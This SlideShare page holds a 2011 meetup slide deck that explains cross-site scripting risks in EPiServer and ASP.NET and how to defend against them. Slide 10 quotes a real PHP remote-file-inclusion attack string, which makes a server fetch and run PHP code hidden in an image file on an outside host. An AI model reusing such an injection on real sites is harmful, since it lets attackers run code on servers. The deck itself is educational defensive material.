SlideShare a Scribd company logo
1 of 13
XSS – Cross site scripting Oslo EPiServer Meetup #7 – 25th May 2011 © Creuna Slide 1
Definition Cross site scripting is a form ofattackwheretheattacker is able to run arbitraryjavascriptcode in a web pageviewed by anotheruser XSS compromisestheclient side, not the server Butdependingonthe nature ofthewebsite it can be a serioussecurity risk © Creuna Slide 2
Consequences XSS may be used to  	- Stealsessioncookies 	- Performany action thattheattackeduser has rights 	to do, maybeevenwithouthimknowing 	- Display false or modifiedcontent 	- XSS attacksmayspread like a software worm, for 	instance in a socialnetworksite. A user posts theattackingcodewhichinfects his friends, they post and 	so on. © Creuna Slide 3
Two types of XSS Non persistent: A userfollows a malicious link or form from a 	dangerouswebsite, email, etc. The vulnerable websitewritesthe XSS attack to theresponse, and onlythisuser 	is affected Persistent: The XSS attackcode is storedonthe vulnerable web 	site, for instance in a usercomment. All subsequentusersofthe web sitemay be exposed to the XSS 	attack © Creuna Slide 4
Wheredoesthexssattackcome from? All content from insecuresources is potentiallydangerous 	- Form submissions 	- Urls 	- All othersources, RSS feeds, integrated systems, etc.  © Creuna Slide 5
Form submissions DangerouscontentmaycomethroughPOST variables Rememberthat POST requests do not necessarilyoriginate from a form on a pageyouservedtheuser, an attackermaycraft a webpage or requesttargetingyour web site DEMO (Demo showed a simple ASP.NET form writing a submittedtext back to thepageon postback. By defaultdangerous POST variables result in an exception in ASP.NET, so wearecovered, right? Next demo showed same principle in a minimallymodified EPiServer demo site, and the XSS attackwassuccessful. EPiServer turns off ASP.NETs input verification in itsdefaultconfiguration.) © Creuna Slide 6
Url input Do youwritethevalueofRequest.Url back to yourresponse? Yes, even ASP.NET itselfdoesthat DEMO (Demo showedusing a url with XSS in it in a standard ASP.NET web site, and wegot an exception like withthe POST attack. EPiServer proved vulnerable again.) © Creuna Slide 7
EPiServer ASP.NET is normallywellsecuredagainst XSS But EPiServer turnsthis feature off by default We must alwaysgiveexternal input an extrathought in EPiServer, ASP.NETs normal safetynet is turned off! © Creuna Slide 8
How do wesecureourselvesagains XSS? Always make sure to escape data from unsecuresourcesifyouaregoing to write it to theresponse This alsoapplies to urls, like Request.Url Do not trust yourownability to foresee all scenarios so do not writethecode for thisyourself Use a welltested and reviewedframework For instance Microsofts AntiXSS: http://wpl.codeplex.com/ © Creuna Slide 9
Are youusing PHP? As PHP is a script language, similarattacksmayactuallycompromisethe server side Real world example from oneofourprojects: <form method="post" action="/no/?_SERVER%25255bDOCUMENT_ROOT%25255d=http://bungalowsdemo.info/images/test.gif”id="aspnetForm"> This attackwould make the server run the PHP code in test.gif, which is not a picturebutPHP code The websitebungalowsdemo.info is probablyunknowinglyattacked and used to host theattackcode © Creuna Slide 10
External script files Do youincludeexternal script files in your web site? For instance, do youuseGoogles/Microsofts CDN for javascript? Real world example, web statisticstool: <script src=http://res.xtractor.no/x.jstype="text/javascript"></script>  © Creuna Slide 11
External script files Ifyoureferenceexternal script files yougiveanotherdomain/sourcethe right to run javascriptonyour web site Of courseyoucan trust Googles or Microsofts CDN to deliver proper code But a differentdomainmay be vulnerable to DNS attacks An attackermaymanipulate DNS onthelocalmachine or network to deliverexternal scripts from a differentsource If all referenced script files are from the same domain as theviewed web pageyouavoidthisvulnerability © Creuna Slide 12
Questions? © Creuna Slide 13

More Related Content

What's hot

ubantu mod security
ubantu mod securityubantu mod security
ubantu mod securityKunal gupta
 
CMS and security / privacy
CMS and security / privacyCMS and security / privacy
CMS and security / privacyImpessCMS
 
Nodejs Security
Nodejs SecurityNodejs Security
Nodejs SecurityJason Ross
 
SSL Pinning and Bypasses: Android and iOS
SSL Pinning and Bypasses: Android and iOSSSL Pinning and Bypasses: Android and iOS
SSL Pinning and Bypasses: Android and iOSAnant Shrivastava
 
OWASP London: Bypassing CSRF Protections - A Double Defeat of the Double-Subm...
OWASP London: Bypassing CSRF Protections - A Double Defeat of the Double-Subm...OWASP London: Bypassing CSRF Protections - A Double Defeat of the Double-Subm...
OWASP London: Bypassing CSRF Protections - A Double Defeat of the Double-Subm...David Johansson
 
Usable Security: Tips for Daily Life
Usable Security: Tips for Daily LifeUsable Security: Tips for Daily Life
Usable Security: Tips for Daily LifeOWASP Khartoum
 

What's hot (8)

ubantu mod security
ubantu mod securityubantu mod security
ubantu mod security
 
CMS and security / privacy
CMS and security / privacyCMS and security / privacy
CMS and security / privacy
 
Nodejs Security
Nodejs SecurityNodejs Security
Nodejs Security
 
SSL Pinning and Bypasses: Android and iOS
SSL Pinning and Bypasses: Android and iOSSSL Pinning and Bypasses: Android and iOS
SSL Pinning and Bypasses: Android and iOS
 
OWASP London: Bypassing CSRF Protections - A Double Defeat of the Double-Subm...
OWASP London: Bypassing CSRF Protections - A Double Defeat of the Double-Subm...OWASP London: Bypassing CSRF Protections - A Double Defeat of the Double-Subm...
OWASP London: Bypassing CSRF Protections - A Double Defeat of the Double-Subm...
 
Usable Security: Tips for Daily Life
Usable Security: Tips for Daily LifeUsable Security: Tips for Daily Life
Usable Security: Tips for Daily Life
 
Protect from ransomware
Protect from ransomwareProtect from ransomware
Protect from ransomware
 
Nodevember 2015
Nodevember 2015Nodevember 2015
Nodevember 2015
 

Similar to XSS - Presented at EPiServer Meetup in Oslo 25th May 2011

Web Security - OWASP - SQL injection & Cross Site Scripting XSS
Web Security - OWASP - SQL injection & Cross Site Scripting XSSWeb Security - OWASP - SQL injection & Cross Site Scripting XSS
Web Security - OWASP - SQL injection & Cross Site Scripting XSSIvan Ortega
 
How to Make Your NodeJS Application Secure (24 Best Security Tips )
How to Make Your NodeJS Application Secure (24 Best Security Tips )How to Make Your NodeJS Application Secure (24 Best Security Tips )
How to Make Your NodeJS Application Secure (24 Best Security Tips )Katy Slemon
 
OWASP App Sec US - 2010
OWASP App Sec US - 2010OWASP App Sec US - 2010
OWASP App Sec US - 2010Aditya K Sood
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scriptingkinish kumar
 
Cross-Site Scripting course made by Cristian Alexandrescu
Cross-Site Scripting course made by Cristian Alexandrescu Cross-Site Scripting course made by Cristian Alexandrescu
Cross-Site Scripting course made by Cristian Alexandrescu Cristian Alexandrescu
 
Layer 7 Technologies: Web Services Hacking And Hardening
Layer 7 Technologies: Web Services Hacking And HardeningLayer 7 Technologies: Web Services Hacking And Hardening
Layer 7 Technologies: Web Services Hacking And HardeningCA API Management
 
MS Innovation Day: A Lap Around Web Application Vulnerabilities by MVP Walter...
MS Innovation Day: A Lap Around Web Application Vulnerabilities by MVP Walter...MS Innovation Day: A Lap Around Web Application Vulnerabilities by MVP Walter...
MS Innovation Day: A Lap Around Web Application Vulnerabilities by MVP Walter...Quek Lilian
 
Analyze the detected attacks and create a report that describes each.pdf
Analyze the detected attacks and create a report that describes each.pdfAnalyze the detected attacks and create a report that describes each.pdf
Analyze the detected attacks and create a report that describes each.pdfivylinvaydak64229
 
Report on xss and do s
Report on xss and do sReport on xss and do s
Report on xss and do smehr77
 
Defending Servers - Cyber security webinar part 3
Defending Servers - Cyber security webinar part 3Defending Servers - Cyber security webinar part 3
Defending Servers - Cyber security webinar part 3F-Secure Corporation
 
Deep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionDeep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionVishal Kumar
 
Web-Security-Application.pptx
Web-Security-Application.pptxWeb-Security-Application.pptx
Web-Security-Application.pptxhamidTalib2
 
Sergey Kochergan - OWASP Top 10 Web Application Vulnerabilities
Sergey Kochergan - OWASP Top 10 Web Application Vulnerabilities Sergey Kochergan - OWASP Top 10 Web Application Vulnerabilities
Sergey Kochergan - OWASP Top 10 Web Application Vulnerabilities Braindev Kyiv
 
ImageSubXSS: an image substitute technique to prevent Cross-Site Scripting at...
ImageSubXSS: an image substitute technique to prevent Cross-Site Scripting at...ImageSubXSS: an image substitute technique to prevent Cross-Site Scripting at...
ImageSubXSS: an image substitute technique to prevent Cross-Site Scripting at...IJECEIAES
 
A Survey of Exploitation and Detection Methods of XSS Vulnerabilities.pptx
A Survey of Exploitation and Detection Methods of XSS Vulnerabilities.pptxA Survey of Exploitation and Detection Methods of XSS Vulnerabilities.pptx
A Survey of Exploitation and Detection Methods of XSS Vulnerabilities.pptxGitam Gadtaula
 

Similar to XSS - Presented at EPiServer Meetup in Oslo 25th May 2011 (20)

Web Security - OWASP - SQL injection & Cross Site Scripting XSS
Web Security - OWASP - SQL injection & Cross Site Scripting XSSWeb Security - OWASP - SQL injection & Cross Site Scripting XSS
Web Security - OWASP - SQL injection & Cross Site Scripting XSS
 
How to Make Your NodeJS Application Secure (24 Best Security Tips )
How to Make Your NodeJS Application Secure (24 Best Security Tips )How to Make Your NodeJS Application Secure (24 Best Security Tips )
How to Make Your NodeJS Application Secure (24 Best Security Tips )
 
WebApps_Lecture_15.ppt
WebApps_Lecture_15.pptWebApps_Lecture_15.ppt
WebApps_Lecture_15.ppt
 
OWASP Top10 2010
OWASP Top10 2010OWASP Top10 2010
OWASP Top10 2010
 
OWASP App Sec US - 2010
OWASP App Sec US - 2010OWASP App Sec US - 2010
OWASP App Sec US - 2010
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scripting
 
Cross-Site Scripting course made by Cristian Alexandrescu
Cross-Site Scripting course made by Cristian Alexandrescu Cross-Site Scripting course made by Cristian Alexandrescu
Cross-Site Scripting course made by Cristian Alexandrescu
 
Layer 7 Technologies: Web Services Hacking And Hardening
Layer 7 Technologies: Web Services Hacking And HardeningLayer 7 Technologies: Web Services Hacking And Hardening
Layer 7 Technologies: Web Services Hacking And Hardening
 
Xss frame work
Xss frame workXss frame work
Xss frame work
 
MS Innovation Day: A Lap Around Web Application Vulnerabilities by MVP Walter...
MS Innovation Day: A Lap Around Web Application Vulnerabilities by MVP Walter...MS Innovation Day: A Lap Around Web Application Vulnerabilities by MVP Walter...
MS Innovation Day: A Lap Around Web Application Vulnerabilities by MVP Walter...
 
Analyze the detected attacks and create a report that describes each.pdf
Analyze the detected attacks and create a report that describes each.pdfAnalyze the detected attacks and create a report that describes each.pdf
Analyze the detected attacks and create a report that describes each.pdf
 
Report on xss and do s
Report on xss and do sReport on xss and do s
Report on xss and do s
 
Defending Servers - Cyber security webinar part 3
Defending Servers - Cyber security webinar part 3Defending Servers - Cyber security webinar part 3
Defending Servers - Cyber security webinar part 3
 
Deep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionDeep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL Injection
 
Complete xss walkthrough
Complete xss walkthroughComplete xss walkthrough
Complete xss walkthrough
 
Web-Security-Application.pptx
Web-Security-Application.pptxWeb-Security-Application.pptx
Web-Security-Application.pptx
 
Sergey Kochergan - OWASP Top 10 Web Application Vulnerabilities
Sergey Kochergan - OWASP Top 10 Web Application Vulnerabilities Sergey Kochergan - OWASP Top 10 Web Application Vulnerabilities
Sergey Kochergan - OWASP Top 10 Web Application Vulnerabilities
 
ImageSubXSS: an image substitute technique to prevent Cross-Site Scripting at...
ImageSubXSS: an image substitute technique to prevent Cross-Site Scripting at...ImageSubXSS: an image substitute technique to prevent Cross-Site Scripting at...
ImageSubXSS: an image substitute technique to prevent Cross-Site Scripting at...
 
T04505103106
T04505103106T04505103106
T04505103106
 
A Survey of Exploitation and Detection Methods of XSS Vulnerabilities.pptx
A Survey of Exploitation and Detection Methods of XSS Vulnerabilities.pptxA Survey of Exploitation and Detection Methods of XSS Vulnerabilities.pptx
A Survey of Exploitation and Detection Methods of XSS Vulnerabilities.pptx
 

XSS - Presented at EPiServer Meetup in Oslo 25th May 2011

  • 1. XSS – Cross site scripting Oslo EPiServer Meetup #7 – 25th May 2011 © Creuna Slide 1
  • 2. Definition Cross site scripting is a form ofattackwheretheattacker is able to run arbitraryjavascriptcode in a web pageviewed by anotheruser XSS compromisestheclient side, not the server Butdependingonthe nature ofthewebsite it can be a serioussecurity risk © Creuna Slide 2
  • 3. Consequences XSS may be used to - Stealsessioncookies - Performany action thattheattackeduser has rights to do, maybeevenwithouthimknowing - Display false or modifiedcontent - XSS attacksmayspread like a software worm, for instance in a socialnetworksite. A user posts theattackingcodewhichinfects his friends, they post and so on. © Creuna Slide 3
  • 4. Two types of XSS Non persistent: A userfollows a malicious link or form from a dangerouswebsite, email, etc. The vulnerable websitewritesthe XSS attack to theresponse, and onlythisuser is affected Persistent: The XSS attackcode is storedonthe vulnerable web site, for instance in a usercomment. All subsequentusersofthe web sitemay be exposed to the XSS attack © Creuna Slide 4
  • 5. Wheredoesthexssattackcome from? All content from insecuresources is potentiallydangerous - Form submissions - Urls - All othersources, RSS feeds, integrated systems, etc. © Creuna Slide 5
  • 6. Form submissions DangerouscontentmaycomethroughPOST variables Rememberthat POST requests do not necessarilyoriginate from a form on a pageyouservedtheuser, an attackermaycraft a webpage or requesttargetingyour web site DEMO (Demo showed a simple ASP.NET form writing a submittedtext back to thepageon postback. By defaultdangerous POST variables result in an exception in ASP.NET, so wearecovered, right? Next demo showed same principle in a minimallymodified EPiServer demo site, and the XSS attackwassuccessful. EPiServer turns off ASP.NETs input verification in itsdefaultconfiguration.) © Creuna Slide 6
  • 7. Url input Do youwritethevalueofRequest.Url back to yourresponse? Yes, even ASP.NET itselfdoesthat DEMO (Demo showedusing a url with XSS in it in a standard ASP.NET web site, and wegot an exception like withthe POST attack. EPiServer proved vulnerable again.) © Creuna Slide 7
  • 8. EPiServer ASP.NET is normallywellsecuredagainst XSS But EPiServer turnsthis feature off by default We must alwaysgiveexternal input an extrathought in EPiServer, ASP.NETs normal safetynet is turned off! © Creuna Slide 8
  • 9. How do wesecureourselvesagains XSS? Always make sure to escape data from unsecuresourcesifyouaregoing to write it to theresponse This alsoapplies to urls, like Request.Url Do not trust yourownability to foresee all scenarios so do not writethecode for thisyourself Use a welltested and reviewedframework For instance Microsofts AntiXSS: http://wpl.codeplex.com/ © Creuna Slide 9
  • 10. Are youusing PHP? As PHP is a script language, similarattacksmayactuallycompromisethe server side Real world example from oneofourprojects: <form method="post" action="/no/?_SERVER%25255bDOCUMENT_ROOT%25255d=http://bungalowsdemo.info/images/test.gif”id="aspnetForm"> This attackwould make the server run the PHP code in test.gif, which is not a picturebutPHP code The websitebungalowsdemo.info is probablyunknowinglyattacked and used to host theattackcode © Creuna Slide 10
  • 11. External script files Do youincludeexternal script files in your web site? For instance, do youuseGoogles/Microsofts CDN for javascript? Real world example, web statisticstool: <script src=http://res.xtractor.no/x.jstype="text/javascript"></script> © Creuna Slide 11
  • 12. External script files Ifyoureferenceexternal script files yougiveanotherdomain/sourcethe right to run javascriptonyour web site Of courseyoucan trust Googles or Microsofts CDN to deliver proper code But a differentdomainmay be vulnerable to DNS attacks An attackermaymanipulate DNS onthelocalmachine or network to deliverexternal scripts from a differentsource If all referenced script files are from the same domain as theviewed web pageyouavoidthisvulnerability © Creuna Slide 12